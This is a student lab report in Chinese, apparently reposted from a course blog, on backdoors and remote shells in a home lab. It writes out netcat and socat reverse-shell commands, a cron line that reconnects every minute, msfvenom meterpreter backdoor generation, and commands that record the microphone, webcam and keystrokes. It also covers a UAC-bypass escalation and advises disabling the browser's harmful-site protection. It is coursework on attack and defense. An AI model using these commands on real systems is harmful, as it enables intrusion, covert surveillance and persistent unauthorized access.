20232424 2025-2026-1 《网络与系统攻防技术》实验二实验报告

news/2025/10/22 20:50:06/文章来源:https://www.cnblogs.com/cccpy/p/19157684

20232424 2025-2026-1 《网络与系统攻防技术》实验二实验报告

1.实验内容

1.使用netcat在windows物理机获取远程主机kali的Shell,cron启动任务
2.使用socat在kali获取物理主机的Shell, 启动任务计划
3.使用MSF meterpreter生成后门文件,利用ncat发送到物理主机并运行获取主机Shell
4.使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
5.使用MSF生成shellcode,注入实验1中的pwn文件,获取反弹连接Shell

2.实验过程

2.0基础环境配置

1.下载netcat和socat工具,可通过官网或CSDN上的各类博客提供的镜像进行下载。若出现无法下载的情况,可进入edge浏览器

“设置-隐私、搜索和服务-安全性”

将“防止有害网站和地址”关闭
屏幕截图 2025-10-22 104648
下载解压完毕后,将netcat添加到系统环境变量,CSDN博文有很多教程,此处不再赘述

2.分别查看物理机与kali的IP地址
将虚拟机kali的网络适配器设置为 “仅主机模式” ,使用命令ifconfig查看IP地址:192.168.19.129
屏幕截图 2025-10-22 105332
在物理机中使用ipconfig查看IP地址:192.168.19.1
屏幕截图 2025-10-21 234638

2.1 netcat获取虚拟机shell,cron启动任务

1.shell获取
在物理机打开cmd,输入命令ncat -l -p 6666对6666端口进行监听
然后在kali的终端中输入nc 192.168.19.1 6666 -e /bin/sh进行反弹连接
屏幕截图 2025-10-21 234650
返回物理机输入ls测试是否获取到虚拟机shell
屏幕截图 2025-10-21 234610
如图,成功调用虚拟机shell

2.cron启动任务
任务:通过cron让Kali每分钟都主动反弹连接Windows并给Windows提供一个Shell。

crontab -e选择vim.basic进入编辑
在底部加上* * * * * /bin/netcat 192.168.19.1 6666 -e /bin/sh #每分钟运行一次netcat反弹连接到Windows并提供一个Shell
wq退出

crontab -l查看文件是否被修改
屏幕截图 2025-10-21 234936

返回物理机中,打开一个终端再次对6666端口监听,再打开一个终端输入命令netstat -an | findstr "6666"查看端口6666状态。当状态由“LISTEN”变为“ESTABLISHED”即kali成功自动反弹连接。
屏幕截图 2025-10-22 001125

屏幕截图 2025-10-22 001008
图中可以看到我输入多次ls无反应,但明明已经建立连接,为什么?

猜测是当前执行shell的目录下无文件

cd /home/kali进入kali目录下再次执行ls

果然成功看到文件及目录信息

退出当前连接执行重新监听的操作,观察到端口状态总能由“LISTEN”变为“ESTABLISHED”,且这个过程不超过1分钟
屏幕截图 2025-10-22 001258

2.2 socat获取Shell, 任务计划启动

1.socat获取Shell
此处目标主机变为windows物理机
首先在kali对端口进行监听

socat TCP-LISTEN:6666 - # 在Kali的8888端口监听

然后进入物理机中socat.exe所在的目录,右键进入终端,执行反弹连接

./socat exec:cmd.exe,pty,stderr TCP:192.168.19.129:6666

屏幕截图 2025-10-22 002444
此时返回虚拟机可看到已经获取了windows的shell
屏幕截图 2025-10-22 002457
进入提前创建好的test文件夹并mkdir test1新建一个测试目录
屏幕截图 2025-10-22 002538
如上图,目录成功创建

2.任务计划启动
进入物理机,首先编辑任务计划列表,创建一个任务,如图,在触发器中我们设置每天0:30自动触发
屏幕截图 2025-10-22 002838

新建操作,将socat的路径填入“程序或脚本”中,并指定参数

exec:powershell.exe,pipes TCP:192.168.19.129:6666 #为虚拟机提供powershell

屏幕截图 2025-10-22 003819

返回kali进行监听,可看到操作触发以后自动获取到了powershell
屏幕截图 2025-10-22 003847

2.3 后门文件获取shell

1.使用命令msfvenom生成一个可执行文件作为后门程序,执行该程序使系统主动反弹连接指定的ip:LHOST 192.168.19.129和指定的端口:LPORT 8000

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.19.129 LPORT=8000 -f exe > 20232424_backdoor.exe # 其中192.168.19.129为Kali的IP地址

屏幕截图 2025-10-22 004207
出现上图结果即生成完成
2.使用netcat将后门程序发送到物理机中
物理机:ncat -l -p 9000 -vv -w 3 > 20232424_backdoor.exe
虚拟机:nc 192.168.19.1 9000 < 20232424_backdoor.exe
屏幕截图 2025-10-22 004418
如图,连接被建立,在物理机内可找到刚刚发送到后门程序
3.获取shell
完成以上步骤后在kali打开终端,输入以下命令

msfconsole #打开msf控制台
use exploit/multi/handler #进入监听
set payload windows/x64/meterpreter/reverse_tcp 
set LHOST 192.168.19.129 #与后门程序的LHOST保持一致
set LPORT 8000 #与后门程序的LPORT保持一致
exploit#此步成功执行后,在物理机中运行后门程序

屏幕截图 2025-10-22 085028
尝试获取用户uidshell
屏幕截图 2025-10-22 085126
成功

2.4后门文件获取目标主机音频、摄像头、击键记录,并尝试提权

1.获取音、像、键盘
依旧在msf控制台内,输入以下命令:

record_mic -d 5 #目标主机默认麦克风录音5秒
webcam_snap #调用目标主机摄像头拍照
keyscan_start # 记录键盘敲击信息
keyscan_dump # 显示捕捉到的键盘记录信息
keyscan_stop # 停止记录

屏幕截图 2025-10-22 090043
↑录音文件保存至kali文件夹下
屏幕截图 2025-10-22 090109
↑照片保存至kali文件夹下
屏幕截图 2025-10-22 090137
↑键盘敲击信息
image
kali目录内可查看刚刚获取的音、像文件
2.提权
尝试使用getsystem提权,getuid验证
屏幕截图 2025-10-22 090323
失败

原因是UAC机制阻止程序执行任何涉及有关系统更改/特定任务的任务,除非用户权限提升

屏幕截图 2025-10-22 090608
查看会话发现仅1个,无法进入其他会话

接下来就要完成“提权”这一步骤
使用exploit/windows/local/ask模块

background
use exploit/windows/local/ask # 加载模块
set session 1
set LHOST 192.168.19.1
set FILENAME WindowsUpdater.exe
run

完成以上步骤后Metaspolit会自动生成一个新的session,在这个session中使用getsystem便可以直接获得system权限,如下图:
屏幕截图 2025-10-22 092317

2.5 shellcode注入获取shell

1.使用命令msfvenom生成一个elf格式的后门程序

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.19.129 LPORT=8888 -x /home/kali/桌面/pwn20232424 -f elf > 20232424_pwn1022
#此处IP地址设置为192.168.19.129,即以kali本机作为目标主机

屏幕截图 2025-10-22 164541

使用sudo chmod a+x 20232424_pwn1022为文件赋予可执行权限
屏幕截图 2025-10-22 164549

再打开一个终端,输入msfconsole进入msf控制台对本机监听

use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp 
set LHOST 192.168.19.129
set LPORT 8888
exploit

在原终端中运行20232424_pwn1022文件
屏幕截图 2025-10-22 164559

新终端中成功获取到kali的shell
屏幕截图 2025-10-22 164518
如图,输入dir获取到了当前目录下的文件内容

3.问题及解决方案

  • 问题1:在kali打开msf控制台建立会话时出现报错,会话建立后立马关闭
meterpreter session 1 closed.Reason:DIED
  • 问题1解决方案:参考毕悠尘同学作业博文的解决方案。
    步骤一:使用命令sudo apt update与sudo apt update && sudo apt install metasploit-framework对metasploit进行更新。
    步骤二:在物理机中下载并安装Visual C++ Redistributable。安装完成后,再次运行后门程序,此时Meterpreter会话可稳定建立。

  • 问题2:做“提权”步骤时,meterpreter无法新建会话,且自动将LHOST指向了本机的环回接口127.0.0.1
    屏幕截图 2025-10-22 092438

  • 问题2解决方案:在输入指令use exploit/windows/local/ask 加载完exploit/windows/local/ask模块后指定LHOST为虚拟机ip192.168.19.129
    屏幕截图 2025-10-22 092317

  • 问题3:步骤2.1中kali的自动反弹连接会话成功建立,但是输入ls命令想要查看目录下文件时无反应,以为shell没有被调用,多次尝试后依旧无反应

  • 问题3解决方案:ls查看的是当前目录下的文件,若无输出,有可能是当前目录下根本就没有文件。cd /home/kali进入kali目录下再次执行ls,成功看到文件及目录信息
    屏幕截图 2025-10-22 001258

4.问题回答

(1)例举你能想到的一个后门进入到你系统中的可能方式?
被诱导下载可疑软件时,木马伪装成软件插件被我安装到系统里
(2)例举你知道的后门如何启动起来(win及linux)的方式?
1.windows注册表自启动:负责开机启动的值被修改,实现后门随系统启动。
2.crontab定时任务(Linux),攻击者通过添加配置文件,比如实验中的* * * * * /bin/netcat 192.168.19.1 6666 -e /bin/sh使系统每分钟执行指定目录下的后门脚本
(3)Meterpreter有哪些给你映像深刻的功能?
1.通过命令自动生成后门文件
2.UAC绕过提升权限
(4)如何发现自己有系统有没有被安装后门?
1.查看自己电脑的注册表和计划任务,排查注册表中的未知键值与计划任务中的可以任务
2.使用专业查杀工具,如“火绒”等,进行全盘扫描与实时监测

5.学习感悟、思考

本次实验对后门原理进行了应用与实践,其中包含调用目标主机音频、摄像头、击键记录等有意思的小实验,也有cron启动某项任务这类稍微难理解的内容,让我体会到了Metasploit这一工具的便利,也让我学习到了后门技术的基本原理及其技术的强大。从netcat的下载安装,到两台机器的相互连接与shell调用,再到主机摄像头的调用,这一步步虽然遇到了大大小小的问题,但亲眼看着笔记本电脑摄像头灯光闪烁,然后自己的图像出现在屏幕上的那种兴奋是难以言表的,也算是小小满足了一下自己小时候对于“黑客”的幻想。
同时本次实验也加深了我对防火墙“系统第一道物理防线”的认识,如果防火墙被关闭,那么任何微小的配置缺陷都有可能成为攻击者的目标。

参考资料

  • 毕悠尘同学作业博文
  • 陈翰文学长作业博文
  • windows下安装使用netcat

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/943730.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

记录docker desktop wsl2奔溃的查询思路

错误 无规律的间接性出现奔溃信息 There was a problem with WSL An error occurred while running a WSL command. Please check your WSL configuration and try again.running wslexec: An error occurred while ru…

股票操作统计分析报告 - 2025年10月22日

股票操作统计分析报告body { font-family: "Microsoft YaHei", "Segoe UI", Tahoma, Geneva, Verdana, sans-serif; line-height: 1.6; color: rgba(51, 51, 51, 1); max-width: 1000px; margin: …

软工结对作业

软件工程结对作业项目 内容所属课程 https://edu.cnblogs.com/campus/gdgy/Class12Grade23ComputerScience/作业要求 https://edu.cnblogs.com/campus/gdgy/Class12Grade23ComputerScience/homework/13470作业目标 完成…

20232419 2025-2026-1《网络与系统攻防技术》实验二实验报告

一、实验内容 由于在不同的网络条件下多次尝试,因此IP会有所不同 (1)使用netcat获取主机操作Shell,cron启动某项任务(任务自定) PS:cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程 (2)使…

dfs模板(p1036)

P1036 [NOIP 2002 普及组] 选数 题目描述 已知 \(n\) 个整数 \(x_1,x_2,\cdots,x_n\),以及 \(1\) 个整数 \(k\)(\(k<n\))。从 \(n\) 个整数中任选 \(k\) 个整数相加,可分别得到一系列的和。例如当 \(n=4\),\(k…

leetcode477. 汉明距离总和

leetcode477. 汉明距离总和477. 汉明距离总和🤡过不了的暴力解:class Solution {public int totalHammingDistance(int[] nums) {int n = nums.length,res = 0;for(int i = 0;i < n;++i){for(int j = i + 1;j &l…

Java中的修饰符

在 Java 中,修饰符(Modifiers)是用来修改类、方法、变量、构造器等定义的关键字。它们主要分为两大类:访问修饰符和非控制修饰符。 以下是 Java 中所有修饰符的详细分类和说明: 一、 访问修饰符 (Access Modifier…

CF2078D Scammy Game Ad

设 \(f_{i, j}\) 为第 \(j\) 道的小人选择了第 \(i\) 个门,从 \(i \sim n\) 能够对答案产生多少贡献,倒着转移即可。

[树状数组]P11855 [CSP-J2022 山东] 部署 题解

完全不需要剖分啊,不知道 tag 在打什么劲。 首先看题面。 操作1是正常的操作,开一颗线段树记录 dfs 序区间修改。 操作2是反常的操作。这题需要记 bfs 序。这样就可以确保一个节点的直连节点 bfs 序是连续的。然后再…

行列式+矩阵树定理

https://www.luogu.com.cn/article/48au0mw4 行列式 对于矩阵 \(A_{[n],[n]}\) 其行列式为 \(det(A) = \sum\limits_{1∼n 的排列 P}{(-1)^{P 的逆序对个数} \prod\limits_{i=1}^{n}{A_{i,p_i}}}\)。 行列式的性质:单…

测试金字塔与测试左移:提升软件质量的双翼策略

无论团队规模大小,从今天开始审视你的测试策略,思考如何将这两种策略应用到你的项目中,必将收获显著的质量提升和效率改进。在快速迭代的现代软件开发中,如何保证产品质量同时加速交付,成为每个团队面临的挑战。今…

兼职MOer的幸福生活

搬运一下。零.前言组合意义天地生,代数推导jzy。一.Miller-Rabin素性测试 Miller-Rabin-Miller-Rabin-Mikuer-Robin-Milker-Rocky-Morty-Rick。 费马素性测试 费马曾言道:“\(a^{p-1} \equiv 1 \pmod p\) ,当 \(p\)…

20232323 2025-2026-1《网络与系统攻防技术》实验二实验报告

一、实验内容 1.使用netcat获取主机操作Shell,cron启动某项任务。 2.使用socat获取主机操作Shell, 任务计划启动 。 3.使用MSF meterpreter生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell。 …

[职业技术学院逃生]

作品状态: \(\color{green}正在更新\) 作品下载 点我 公告 #1点击查看代码 关于"职业技术学院逃生破解版"的态度我方对于职业学院逃生破解版(后称"破解版")表示否认,在1.1.7后本文来自博客园,作…

C#/.NET/.NET Core技术前沿周刊 | 第 58 期(2025年10.13-10.19)

前言 C#/.NET/.NET Core技术前沿周刊,你的每周技术指南针!记录、追踪C#/.NET/.NET Core领域、生态的每周最新、最实用、最有价值的技术文章、社区动态、优质项目和学习资源等。让你时刻站在技术前沿,助力技术成长与…

完整教程:阿里云上CentOS6.9(停止维护)导致的yum下载chrony失败如何解决?

完整教程:阿里云上CentOS6.9(停止维护)导致的yum下载chrony失败如何解决?pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-fam…

九、OpenCV中视频的录制 - 指南

九、OpenCV中视频的录制 - 指南2025-10-22 20:20 tlnshuju 阅读(0) 评论(0) 收藏 举报pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !importa…

高端网站设计中的微交互:细节如何决定用户体验 - 指南

高端网站设计中的微交互:细节如何决定用户体验 - 指南pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas&q…

股票操作统计分析报告 - 2025-10-22

股票操作统计分析报告 - 2025-10-22生成时间: 2025-10-22 20:17:44数据来源: 9db.com股票操作统计分析报告数据统计时间: 2025-10-22 数据来源: 9db.com建仓次数最多的股票: 长江电力 (共2次)建仓详细统计 (前10名):1.…

2025年完整指南:DeepSeek OCR 如何通过“视觉压缩”将AI成本降低20倍?

2025年完整指南:DeepSeek OCR 如何通过“视觉压缩”将AI成本降低20倍?DeepSeek OCR 并非传统的光学字符识别工具,而是一种探索“视觉-文本压缩”的前沿AI模型。它通过将长文本转换成图像进行处理,极大地降低了计算…